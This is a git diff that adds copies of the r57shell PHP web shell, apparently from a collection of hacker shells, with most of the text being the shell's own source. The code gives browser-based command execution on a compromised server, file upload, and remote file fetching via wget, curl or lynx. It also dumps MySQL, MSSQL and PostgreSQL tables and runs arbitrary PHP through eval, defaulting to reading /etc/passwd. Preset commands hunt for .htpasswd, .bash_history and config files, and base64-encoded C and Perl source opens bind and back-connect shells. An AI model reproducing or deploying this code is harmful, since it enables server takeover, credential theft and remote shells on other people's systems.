+ $sql2 .= "\r\n# ---------------------------------";
+ }
+ if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
+ else { echo $sql1.$sql2; }
+ }
+ else echo "[-] ERROR! Can't select database";
+ @mssql_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to MSSQL server";
+ break;
+ case 'PostgreSQL':
+ if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }
+ $str = "host='localhost' port='".$_POST['db_port']."' user='".$_POST['mysql_l']."' password='".$_POST['mysql_p']."' dbname='".$_POST['mysql_db']."'";
+ $db = @pg_connect($str);
+ if($db)
+ {
+ $sql1 = "# PostgreSQL dump created by r57shell\r\n";
+ $sql1 .= $sqh;
+ $sql2 = '';
+ $res = @pg_query($db,"SELECT * FROM ".$_POST['mysql_tbl']."");
+ if (@pg_num_rows($res) > 0) {
+ while (($row = @pg_fetch_assoc($res))) {
+ $keys = @implode(", ", @array_keys($row));
+ $values = @array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = @implode("', '", $values);
+ $sql2 .= "INSERT INTO ".$_POST['mysql_tbl']." (".$keys.") VALUES ('".htmlspecialchars($values)."');\r\n";
+ }
+ $sql2 .= "\r\n# ---------------------------------";
+ }
+ if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }
+ else { echo $sql1.$sql2; }
+ @pg_close($db);
+ }
+ else echo "[-] ERROR! Can't connect to PostgreSQL server";
+ break;
+ }
+ }
+ else if(!empty($_POST['dif'])&&!$fp) { echo "[-] ERROR! Can't write in dump file"; }
+ }
+echo "
";
+echo "";
+echo "
";
+echo "";
+if(!$safe_mode){
+echo $fs.$table_up1.$lang[$language.'_text2'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text3'].$arrow." ",in('text','cmd',85,''));
+echo sr(15,"".$lang[$language.'_text4'].$arrow." ",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.$table_end1.$fe;
+}
+else{
+echo $fs.$table_up1.$lang[$language.'_text28'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text4'].$arrow." ",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));
+echo $te.$table_end1.$fe;
+}
+echo $fs.$table_up1.$lang[$language.'_text42'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text43'].$arrow." ",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));
+echo $te.$table_end1.$fe;
+if($safe_mode){
+echo $fs.$table_up1.$lang[$language.'_text57'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text58'].$arrow." ",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."".$lang[$language.'_text65']." ".$lang[$language.'_text66']." ".ws(3)."".$lang[$language.'_text59']." ".$lang[$language.'_text60']." ".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));
+echo $te.$table_end1.$fe;
+}
+if($safe_mode && $unix){
+echo $fs.$table_up1.$lang[$language.'_text67'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text68'].$arrow." ","CHMOD CHOWN CHGRP ".ws(2)."".$lang[$language.'_text69'].$arrow." ".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."".$lang[$language.'_text70'].$arrow." ".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.$table_end1.$fe;
+}
+if(!$safe_mode){
+foreach ($aliases as $alias_name=>$alias_cmd)
+ {
+ $aliases2 .= "$alias_name ";
+ }
+echo $fs.$table_up1.$lang[$language.'_text7'].$table_up2.$ts;
+echo sr(15,"".ws(9).$lang[$language.'_text8'].$arrow.ws(4)." ","".$aliases2." ".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));
+echo $te.$table_end1.$fe;
+}
+echo $fs.$table_up1.$lang[$language.'_text54'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text52'].$arrow." ",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
+echo sr(15,"".$lang[$language.'_text53'].$arrow." ",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
+echo sr(15,"".$lang[$language.'_text55'].$arrow." ",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));
+echo $te.$table_end1.$fe;
+echo $fs.$table_up1.$lang[$language.'_text76'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text72'].$arrow." ",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));
+echo sr(15,"".$lang[$language.'_text73'].$arrow." ",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )");
+echo sr(15,"".$lang[$language.'_text74'].$arrow." ",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));
+echo $te.$table_end1.$fe;
+echo $fs.$table_up1.$lang[$language.'_text32'].$table_up2.$font;
+echo "";
+echo (!empty($_POST['php_eval'])?($_POST['php_eval']):("/* delete script */\r\n//unlink(\"r57shell.php\");\r\n//readfile(\"/etc/passwd\");"));
+echo " ";
+echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');
+echo "
".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);
+echo "";
+echo $table_end1.$fe;
+if($safe_mode&&$curl_on)
+{
+echo $fs.$table_up1.$lang[$language.'_text33'].$table_up2.$ts;
+echo sr(15,"
".$lang[$language.'_text30'].$arrow." ",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.$table_end1.$fe;
+}
+if($safe_mode)
+{
+echo $fs.$table_up1.$lang[$language.'_text34'].$table_up2.$ts;
+echo "
";
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.$table_end1.$fe;
+}
+if($safe_mode&&$mysql_on)
+{
+echo $fs.$table_up1.$lang[$language.'_text35'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text36'].$arrow." ",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."".$lang[$language.'_text37'].$arrow." ".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."".$lang[$language.'_text38'].$arrow." ".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow." ".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306"))));
+echo sr(15,"".$lang[$language.'_text30'].$arrow." ",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.$table_end1.$fe;
+}
+if($safe_mode&&$mssql_on)
+{
+echo $fs.$table_up1.$lang[$language.'_text85'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text36'].$arrow." ",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."".$lang[$language.'_text37'].$arrow." ".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."".$lang[$language.'_text38'].$arrow." ".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."".$lang[$language.'_text14'].$arrow." ".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433"))));
+echo sr(15,"".$lang[$language.'_text3'].$arrow." ",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));
+echo $te.$table_end1.$fe;
+}
+if(@ini_get('file_uploads')){
+echo "";
+echo $table_up1.$lang[$language.'_text5'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text6'].$arrow." ",in('file','userfile',85,''));
+echo sr(15,"".$lang[$language.'_text21'].$arrow." ",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
+echo $te.$table_end1.$fe;
+}
+if(!$safe_mode&&!$windows){
+echo $fs.$table_up1.$lang[$language.'_text15'].$table_up2.$ts;
+echo sr(15,"".$lang[$language.'_text16'].$arrow." ","wget fetch lynx links curl GET ".in('hidden','dir',0,$dir).ws(2)."".$lang[$language.'_text17'].$arrow." ".in('text','rem_file',78,'http://'));
+echo sr(15,"".$lang[$language.'_text18'].$arrow." ",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));
+echo $te.$table_end1.$fe;
+}
+if($mysql_on||$mssql_on||$pg_on||$ora_on)
+{
+echo $table_up1.$lang[$language.'_text82'].$table_up2.$ts."".$fs."".$ts;
+echo "".$lang[$language.'_text77']."
";
+echo sr(45,"".$lang[$language.'_text80'].$arrow." ","MySQL MSSQL PostgreSQL ");
+echo sr(45,"".$lang[$language.'_text14'].$arrow." ",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
+echo sr(45,"".$lang[$language.'_text37'].$arrow." ",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
+echo sr(45,"".$lang[$language.'_text38'].$arrow." ",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
+echo sr(45,"".$lang[$language.'_text78'].$arrow." ",in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_show').in('checkbox','st id=st',0,'1'));
+echo sr(45,"".$lang[$language.'_text79'].$arrow." ",in('checkbox','sc id=sc',0,'1'));
+echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt7']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text40']."
";
+echo sr(45,"".$lang[$language.'_text80'].$arrow." ","MySQL MSSQL PostgreSQL ");
+echo sr(45,"".$lang[$language.'_text14'].$arrow." ",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
+echo sr(45,"".$lang[$language.'_text37'].$arrow." ",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
+echo sr(45,"".$lang[$language.'_text38'].$arrow." ",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
+echo sr(45,"".$lang[$language.'_text36'].$arrow." ",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
+echo sr(45,"".$lang[$language.'_text39'].$arrow." ",in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user"))));
+echo sr(45,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."".$lang[$language.'_text41'].$arrow." ",in('checkbox','dif id=dif',0,'1'));
+echo sr(45,"".$lang[$language.'_text59'].$arrow." ",in('text','dif_name',15,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql"))));
+echo sr(45,"",in('submit','submit',0,$lang[$language.'_butt9']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text83']."
";
+echo sr(45,"".$lang[$language.'_text80'].$arrow." ","MySQL MSSQL PostgreSQL Oracle ");
+echo sr(45,"".$lang[$language.'_text14'].$arrow." ",in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306"))));
+echo sr(45,"".$lang[$language.'_text37'].$arrow." ",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))));
+echo sr(45,"".$lang[$language.'_text38'].$arrow." ",in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password"))));
+echo sr(45,"".$lang[$language.'_text36'].$arrow." ",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))));
+echo sr(45,"".$lang[$language.'_text84'].$arrow." ".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),"");
+echo $te."".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))." ".in('submit','submit',0,$lang[$language.'_butt1'])."
".$fe."
";
+}
+if(!$safe_mode&&!$windows){
+echo $table_up1.$lang[$language.'_text81'].$table_up2.$ts."
".$fs."".$ts;
+echo "".$lang[$language.'_text9']."
";
+echo sr(40,"".$lang[$language.'_text10'].$arrow." ",in('text','port',15,'11457'));
+echo sr(40,"".$lang[$language.'_text11'].$arrow." ",in('text','bind_pass',15,'r57'));
+echo sr(40,"".$lang[$language.'_text20'].$arrow." ","Perl C ".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text12']."
";
+echo sr(40,"".$lang[$language.'_text13'].$arrow." ",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1"))));
+echo sr(40,"".$lang[$language.'_text14'].$arrow." ",in('text','port',15,'11457'));
+echo sr(40,"".$lang[$language.'_text20'].$arrow." ","Perl C ".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4']));
+echo $te." ".$fe.$fs."".$ts;
+echo "".$lang[$language.'_text22']."
";
+echo sr(40,"".$lang[$language.'_text23'].$arrow." ",in('text','local_port',15,'11457'));
+echo sr(40,"".$lang[$language.'_text24'].$arrow." ",in('text','remote_host',15,'irc.dalnet.ru'));
+echo sr(40,"".$lang[$language.'_text25'].$arrow." ",in('text','remote_port',15,'6667'));
+echo sr(40,"".$lang[$language.'_text26'].$arrow." ","datapipe.pl datapipe.c ".in('hidden','dir',0,$dir));
+echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5']));
+echo $te." ".$fe."
";
+}
+?>
\ No newline at end of file
diff --git a/xakep-shells/PHP/r57shell.php.php.txt b/xakep-shells/PHP/r57shell.php.php.txt
new file mode 100644
index 0000000..be948f2
--- /dev/null
+++ b/xakep-shells/PHP/r57shell.php.php.txt
@@ -0,0 +1,640 @@
+
+/******************************************************************************************************/
+/*
+/* __________ ___ ___
+/* \______ \__ __ ______/ | \
+/* | _/ | \/ ___/ _ \
+/* | | \ | /\___ \\ /
+/* |____|_ /____//____ >\___|_ /
+/* -======\/==security=\/=team==\/
+/*
+/*
+/*
+/* r57shell.php - ñêðèïò íà ïõï ïîçâîëÿþùèé âàì âûïîëíÿòü øåëë êîìàíäû íà ñåðâåðå ÷åðåç áðàóçåð
+/* Âû ìîæåòå ñêà÷àòü íîâóþ âåðñèþ íà íàøåì ñàéòå: http://rst.void.ru
+/* Âåðñèÿ: 1.1 îò 14.10.2004 (public 31.12.2004. Happy new year!!!)
+/*
+/* Âîçìîæíîñòè:
+/* ~ çàùèòà ñêðèïòà ñ ïîìîùüþ ïàðîëÿ
+/* ~ âûïîëíåíèå øåëë-êîìàíä
+/* ~ çàãðóçêà ôàéëîâ íà ñåðâåð
+/* ~ çàãðóçêà ôàéëîâ ñ óäàëåííîãî ñåðâåðà ñ ïîìîùüþ wget, fetch èëè lynx
+/* ~ ïîääåðæèâàåò àëèàñû êîìàíä
+/* ~ âêëþ÷åíû àëèàñû êîìàíä:
+/* - ïîèñê íà ñåðâåðå âñåõ ôàéëîâ ñ suid áèòîì
+/* - ïîèñê íà ñåðâåðå âñåõ ôàéëîâ ñ sgid áèòîì
+/* - ïîèñê íà ñåðâåðå ôàéëîâ config.inc.php
+/* - ïîèñê íà ñåðâåðå âñåõ äèðåêòîðèé è ôàéëîâ äîñòóïíûõ íà çàïèñü äëÿ âñåõ
+/* - ïîèñê íà ñåðâåðå ôàéëîâ service.pwd
+/* - ïîèñê íà ñåðâåðå ôàéëîâ .htpasswd
+/* - ïîèñê íà ñåðâåðå ôàéëîâ .bash_history
+/* - ïîèñê íà ñåðâåðå ôàéëîâ config*
+/* - ïîèñê íà ñåðâåðå ôàéëîâ .fetchmailrc
+/* - âûâîä ñïèñêà àòðèáóòîâ ôàéëîâ íà ôàéëîâîé ñèñòåìå ext2fs
+/* ~ äëÿ àëèàñîâ ïîèñêà äîñòóïíû êàê ïîèñê íà÷èíàÿ ñ êîðíÿ òàê è ïîèñê òîëüêî â òåêóùåé äèðåêòîðèè
+/* ~ äâà ÿçûêà èíòåðôåéñà: ðóññêèé, àíãëèéñêèé
+/* ~ âîçìîæíîñòü çàáèíäèòü /bin/bash íà îïðåäåëåííûé ïîðò ñ ïîìîùüþ Perl èëè Ñ êîäà
+/* ~ âîçìîæíîñòü äåëàòü back-connect ñ ïîìîùüþ Perl èëè Ñ êîäà
+/* ~ âûâîä çíà÷åíèé $OSTYPE è sysctl
+/*
+/* Îòëè÷èÿ îò âåðñèè 1.0c:
+/* - Äîáàâëåíà ôóíêöèÿ back-connect ñ ïîìîùüþ êîäà íà Perl
+/* - Äîáàâëåíà ôóíêöèÿ back-connect ñ ïîìîùüþ êîäà íà C
+/* - Äîáàâëåíà ôóíêöèÿ bind ñ ïîìîùüþ êîäà íà Perl
+/* - Íåìíîãî îïòèìèçèðîâàë êîä ñîáðàâ ðàñêèäàííûé html â ïåðåìåííûå
+/* - Â àëèàñû äîáàâëåíû íîâûå êîìàíäû
+/* - Äîáàâëåí âûâîä sysctl
+/* - Äîáàâëåí âûâîä ïåðåìåííîé $OSTYPE
+/* - Äîáàâëåíà âîçìîæíîñòü çàãðóçêè ôàéëîâ ñ óäàëåííîãî ñåðâåðà ñ èñïîëüçîâàíèåì wget, fetch èëè lynx
+/*
+/* Îòëè÷èÿ îò âåðñèè 1.0 beta:
+/* - Èñïðàâëåí ìåëêèé íåäî÷åò â ôóíêöèè ïðèâÿçêè ïîðòà.
+/*
+/* 14.10.2004 (c) RusH security team
+/*
+/******************************************************************************************************/
+
+// Àóòåíòèôèêàöèÿ
+
+// Ëîãèí è ïàðîëü äëÿ äîñòóïà ê ñêðèïòó
+// ÍÅ ÇÀÁÓÄÜÒÅ ÑÌÅÍÈÒÜ ÏÅÐÅÄ ÐÀÇÌÅÙÅÍÈÅÌ ÍÀ ÑÅÐÂÅÐÅ!!!
+/*
+$name="djskel"; // ëîãèí ïîëüçîâàòåëÿ
+$pass="XYFifA"; // ïàðîëü ïîëüçîâàòåëÿ
+
+if (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) || $HTTP_SERVER_VARS['PHP_AUTH_USER']!=$name || $HTTP_SERVER_VARS['PHP_AUTH_PW']!=$pass)
+ {
+ header("WWW-Authenticate: Basic realm=\"r57shell\"");
+ header("HTTP/1.0 401 Unauthorized");
+ exit("Access Denied");
+ }
+*/
+error_reporting(0);
+set_time_limit(0);
+set_magic_quotes_runtime(0);
+$err=0;
+
+/*
+Âûáîð ÿçûêà
+$language='ru' - ðóññêèé
+$language='eng' - àíãëèéñêèé
+*/
+$language='ru';
+
+$lang=array(
+ 'ru_text1' => 'Âûïîëíåííàÿ êîìàíäà',
+ 'ru_text2' => 'Âûïîëíåíèå êîìàíä íà ñåðâåðå',
+ 'ru_text3' => 'Âûïîëíèòü êîìàíäó',
+ 'ru_text4' => 'Ðàáî÷àÿ äèðåêòîðèÿ',
+ 'ru_text5' => 'Çàãðóçêà ôàéëîâ íà ñåðâåð',
+ 'ru_text6' => 'Ëîêàëüíûé ôàéë',
+ 'ru_text7' => 'Àëèàñû',
+ 'ru_text8' => 'Âûáåðèòå àëèàñ',
+ 'ru_butt1' => 'Âûïîëíèòü',
+ 'ru_butt2' => 'Çàãðóçèòü',
+ 'ru_text9' => 'Îòêðûòèå ïîðòà è ïðèâÿçêà åãî ê /bin/bash',
+ 'ru_text10' => 'Îòêðûòü ïîðò',
+ 'ru_text11' => 'Ïàðîëü äëÿ äîñòóïà',
+ 'ru_butt3' => 'Îòêðûòü',
+ 'ru_text12' => 'back-connect',
+ 'ru_text13' => 'IP-àäðåñ',
+ 'ru_text14' => 'Ïîðò',
+ 'ru_butt4' => 'Âûïîëíèòü',
+ 'ru_text15' => 'Çàãðóçêà ôàéëîâ ñ óäàëåííîãî ñåðâåðà',
+ 'ru_text16' => 'Èñïîëüçîâàòü',
+ 'ru_text17' => 'Óäàëåííûé ôàéë',
+ 'ru_text18' => 'Ëîêàëüíûé ôàéë',
+ 'ru_text19' => 'Exploits',
+ 'ru_text20' => 'Èñïîëüçîâàòü',
+
+ 'eng_text1' => 'Executed command',
+ 'eng_text2' => 'Execute command on server',
+ 'eng_text3' => ' Run command',
+ 'eng_text4' => 'Work directory',
+ 'eng_text5' => 'Upload files on server',
+ 'eng_text6' => 'Local file',
+ 'eng_text7' => 'Aliases',
+ 'eng_text8' => 'Select alias',
+ 'eng_butt1' => 'Execute',
+ 'eng_butt2' => 'Upload',
+ 'eng_text9' => 'Bind port to /bin/bash',
+ 'eng_text10' => 'Port',
+ 'eng_text11' => 'Password for access',
+ 'eng_butt3' => 'Bind',
+ 'eng_text12' => 'back-connect',
+ 'eng_text13' => 'IP',
+ 'eng_text14' => 'Port',
+ 'eng_butt4' => 'Connect',
+ 'eng_text15' => 'Upload files from remote server',
+ 'eng_text16' => ' With',
+ 'eng_text17' => ' Remote file',
+ 'eng_text18' => ' Local file',
+ 'eng_text19' => 'Exploits',
+ 'eng_text20' => ' Use',
+ );
+
+
+
+/*
+Àëèàñû êîìàíä
+Ïîçâîëÿþò èçáåæàòü ìíîãîêðàòíîãî íàáîðà îäíèõ è òåõ-æå êîìàíä. ( Ñäåëàíî áëàãîäàðÿ ìîåé ïðèðîäíîé ëåíè )
+Âû ìîæåòå ñàìè äîáàâëÿòü èëè èçìåíÿòü êîìàíäû.
+*/
+
+$aliases=array(
+
+/* ïîèñê íà ñåðâåðå âñåõ ôàéëîâ ñ suid áèòîì */
+'find all suid files' => 'find / -type f -perm -04000 -ls',
+
+/* ïîèñê â òåêóùåé äèðåêòîðèè âñåõ ôàéëîâ ñ suid áèòîì */
+'find suid files in current dir' => 'find . -type f -perm -04000 -ls',
+
+/* ïîèñê íà ñåðâåðå âñåõ ôàéëîâ ñ sgid áèòîì */
+'find all sgid files' => 'find / -type f -perm -02000 -ls',
+
+/* ïîèñê â òåêóùåé äèðåêòîðèè âñåõ ôàéëîâ ñ sgid áèòîì */
+'find sgid files in current dir' => 'find . -type f -perm -02000 -ls',
+
+/* ïîèñê íà ñåðâåðå ôàéëîâ config.inc.php */
+'find config.inc.php files' => 'find / -type f -name config.inc.php',
+
+/* ïîèñê íà ñåðâåðå ôàéëîâ config* */
+'find config* files' => 'find / -type f -name "config*"',
+
+/* ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ config* */
+'find config* files in current dir' => 'find . -type f -name "config*"',
+
+/* ïîèñê íà ñåðâåðå âñåõ äèðåêòîðèé è ôàéëîâ äîñòóïíûõ íà çàïèñü äëÿ âñåõ */
+'find all writable directories and files' => 'find / -perm -2 -ls',
+
+/* ïîèñê â òåêóùåé äèðåêòîðèè âñåõ äèðåêòîðèé è ôàéëîâ äîñòóïíûõ íà çàïèñü äëÿ âñåõ */
+'find all writable directories and files in current dir' => 'find . -perm -2 -ls',
+
+/* ïîèñê íà ñåðâåðå ôàéëîâ service.pwd ... frontpage =))) */
+'find all service.pwd files' => 'find / -type f -name service.pwd',
+
+/* ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ service.pwd */
+'find service.pwd files in current dir' => 'find . -type f -name service.pwd',
+
+/* ïîèñê íà ñåðâåðå ôàéëîâ .htpasswd */
+'find all .htpasswd files' => 'find / -type f -name .htpasswd',
+
+/* ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ .htpasswd */
+'find .htpasswd files in current dir' => 'find . -type f -name .htpasswd',
+
+/* ïîèñê âñåõ ôàéëîâ .bash_history */
+'find all .bash_history files' => 'find / -type f -name .bash_history',
+
+/* ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ .bash_history */
+'find .bash_history files in current dir' => 'find . -type f -name .bash_history',
+
+/* ïîèñê âñåõ ôàéëîâ .fetchmailrc */
+'find all .fetchmailrc files' => 'find / -type f -name .fetchmailrc',
+
+/* ïîèñê â òåêóùåé äèðåêòîðèè ôàéëîâ .fetchmailrc */
+'find .fetchmailrc files in current dir' => 'find . -type f -name .fetchmailrc',
+
+/* âûâîä ñïèñêà àòðèáóòîâ ôàéëîâ íà ôàéëîâîé ñèñòåìå ext2fs */
+'list file attributes on a Linux second extended file system' => 'lsattr -va',
+
+/* ïðîñìîòð îòêðûòûõ ïîðòîâ */
+'show opened ports' => 'netstat -an | grep -i listen',
+
+'----------------------------------------------------------------------------------------------------' => 'ls -la'
+);
+
+/* html */
+
+$table_up1 = ":: ";
+$table_up2 = " ::
";
+$table_up3 = "";
+
+/* -------------------------- Port bind source C ------------------------ */
+$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5
+jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5
+ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW5
+0IGFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnV
+mWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVtb3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0
+KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyh
+hdG9pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0F
+OWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULFNPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2N
+rZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2F
+kZHIgKikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB
+7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQogICBkdXAyKG5ld2ZkLDApOw0KICAgZHV
+wMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ
+6IiwxMCk7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyh
+hcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY29tZSB0byByNTcgc2hlbGwgJiYgL2J
+pbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGN
+sb3NlKG5ld2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW5
+0ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVudGVyZWQpO2krKykgDQp7DQppZih
+lbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID0
+9ICdccicpDQplbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCk
+pDQpyZXR1cm4gMDsNCn0=";
+/* -------------------------- END Port bind source C -------------------- */
+
+/* -------------------------- Port bind perl source --------------------- */
+$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZi
+AoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMSVNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2
+NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORV
+QsJlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQ
+pzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZH
+JfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw
